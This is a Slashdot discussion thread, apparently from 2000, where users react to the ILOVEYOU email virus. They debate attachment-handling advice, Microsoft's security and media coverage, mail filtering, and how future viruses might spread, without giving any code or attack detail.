    To everyone who says that the solution is to tell people not to open unknown attachments, maybe there is more to the problem/solution than that... I found the name of the vbs file to be probably the best-engineered part of the virus... Assume that one of your relatives or a trusted friend gets infected, and you happen to receive a note called I-LOVE-YOU. Your first impulse is to open it and see what the 'trusted' party sent to you... Everyone who uses outlook is likely to have some close friends in their address book, so this scenario is not unlikely to happen. I feel like the blanket solution of making fun of people who open email attachments won't help, for the same reason as telling children not to talk to strangers is ineffective. The child's image of a stranger is not at all what it should be for the child's safety. Most users are not trained to look at the extension of a file (some even have those extensions turned off), but none will hesitate to try to judge the contents by the main name or icon. Perhaps a better fix to this kind of problem would be better grouping of icons for security. Anything that stands a chance of getting run on a system should perhaps be assigned a more dangerous-looking icon. Also, perhaps the use of file permissions, and setting all incoming file attachments as read-only, non-executable (like you can do in *nix) would help.

    1. Re:Thoughts on the blanket generic solution... by mohnkern · · Score: 1

      Our recommendation to users with respect to attachments in email messages is to always confirm with the sender that they intended to send the attachment. Yes, it can cause delays in communication, but better that than loosing files.

  243. Not idiots, ignorant by unquiet · · Score: 1
    There's no need to say that either of us are idiots, just specialists in different fields.

    There's a difference: ignorance can usually be cured. If not, it's also idiocy.

    Regards to your mum from a complete stranger. <g>

    --
    Got a beef? Plug a name into the Bizarre Rumour Generator!
  244. Nice to see Microsoft accepting responsibility by NickFitz · · Score: 1

    I just went over to www.microsoft.com - not a word about this on the home page. So I did a search on "iloveyou" - it returned 0 hits. So I went into the MS Office area of the site, just to be sure, and got exactly the same result. I just love to see MS facing up to its responsibilities. Still, at least I was able to find out about their commitment to innovation.

    --
    Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
  245. Re:Jeez what an ugly programming language! by RayChuang · · Score: 2

    Colin,

    Writing things like this in Visual Basic is easy.

    But one of these days, some really expert programmer with a nasty intent is going to write a virus that is extremely insidious and start literally shutting down hardware that works on the various layers of the OSI networking model. Given that routers ARE computers of sorts, let's see how long before someone could bring down much of the Internet by bringing down a major backbone provider such as UUNet. :-(

    --
    Raymond in Mountain View, CA
  246. It's two viruses actually by Ventilator · · Score: 1

    I can foresee it:

    The warnings about this virus will still be spread on the internet, even when the last M$-Machine has been shutdown and no platform is left where the virus actually can be executed.

    So effectively we now have two viruses to deal with:

    1. The actual virus itself
    2. The meta-virus (aka warning)

    Possible Solution (Metallica Method):
    Forbid e-mail

    --
    --- If OS were buildings, then the first woodpecker to come around would erase 95 % of civilization.
  247. Time delayed fuse by Sloppy · · Score: 2

    ILOVEYOU spread across the whole world in just a few hours. What if something like this killed the host an hour or two after infection? By the time it destructed, it would already have several generations of offspring.


    ---
    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  248. Why is the media protecting Microsoft?? by Jelloman · · Score: 1

    What this virus made clear to me is that the news media seems to be afraid of blaming Microsoft for having insecure products, even though they bash them daily in their coverage of the antitrust trial.

    Even the Slashdot lead-in doesn't mention Windows, Outlook (aka Outhouse), or VB specifically!!!!!!! Looking at all the other mainstream and niche press coverage of the virus, Microsoft is rarely mentioned before the fourth or fifth paragraph. On Nightline last night, Ted Koppel and guests went off for half an hour on the evilness of whatever fifteen year old unleashed this thing, and they left Microsoft alone. (I think so anyway, I couldn't actually stomach watching it for more than ten seconds at a time.)

    My question is, what kind of world do we want?

    A) A world where a rebellious teenager can cripple email systems worldwide because the security is so weak, and then we bring down the heavy hand of "justice" on this poor child because they "caused billions of dollars in damages," in the ridiculous hope of somehow disincenting teenage rebellion in the future; or

    B) A world where a rebellious teenager cannot cripple email systems worldwide, and we don't have to impose excessive fines and cruel and unusual punishments on the child, and everyone's email keeps working fine.


    I vote for B.

    1. Re:Why is the media protecting Microsoft?? by chipperdog · · Score: 1
      There is some correct press about the virus - Here is a snip from the St. Paul (MN) Pioneer Press in this article
      -snip

      The St. Paul Public School District was basically unaffected as well, said Judith Franklin, assistant director of management information systems for the district. One ``ILOVEYOU'' e-mail was received and deleted immediately. The district does not use Microsoft programming to handle its e-mail. That also spared Washington County offices.

      Too bad this paragraph wasn't on the front page.
  249. Crying on the outside, Laughing on the inside by WyldOne · · Score: 1
    I have to deal with MS exchange/Outlook(pained expression) - nuff said. What I found out was there is NO WAY to use exchange to block this message like a copy of sendmail for Linux could. So, we keep getting that damn thing over and over again. You need to get a third party piece of software to fix what m$ should have had in the first place eg. mail filtering at the SERVER level.

    This is just one of the reasons I do not use MS anything to communicate with the world. I use Linux.

    Linux - the ultimate virus protection program

    --

    make Linux, not Microsoft. sin(beast) = -0.809016994374947424102293417182819
  250. Gee, I feel left out.... by Voice · · Score: 1

    ...quite evidently _I'm_ not in ANYONE's Outlook address book....I haven't received the virus yet!!!

    --
    ....Is there a problem, Dave? asked HAL....
  251. Love Bytes, Love Stings? by BaronCarlos · · Score: 3
    According to this UPI Article, Manilla Police have identified the Author.
    Of course, this could mean an arrest in 24 hours.
    *Carlos: Exit Stage Right*

    "Geeks, Where would you be without them?"

    --
    *Carlos: Exit Stage Right*

    "Geeks, Where would you be without them?"
    "Got Linux?"

  252. Hey, that's what I use ... by P_Simm · · Score: 2
    Microsith already has released it's Lookout product.

    Take a look at it here.

    You know what to do with the HELLO.

    --

    You know what to do with the HELLO.
    Help create an open-source world ...

  253. Re:"Virus warning!!@!" on Slashdot?? by DataGrok · · Score: 1

    Yes, you're right, and so are the other 2 /.'ers who replied to my post.

    After I went to work and had to deal with the aftereffects of ILOVEYOU on my coworkers' computers, I found Slashdot to be a very useful resource. I was suprised nobody flamed me :)

    So next time I'll be sure to have some tea before complaining about a story.

    Thanks, and take care,
    Mike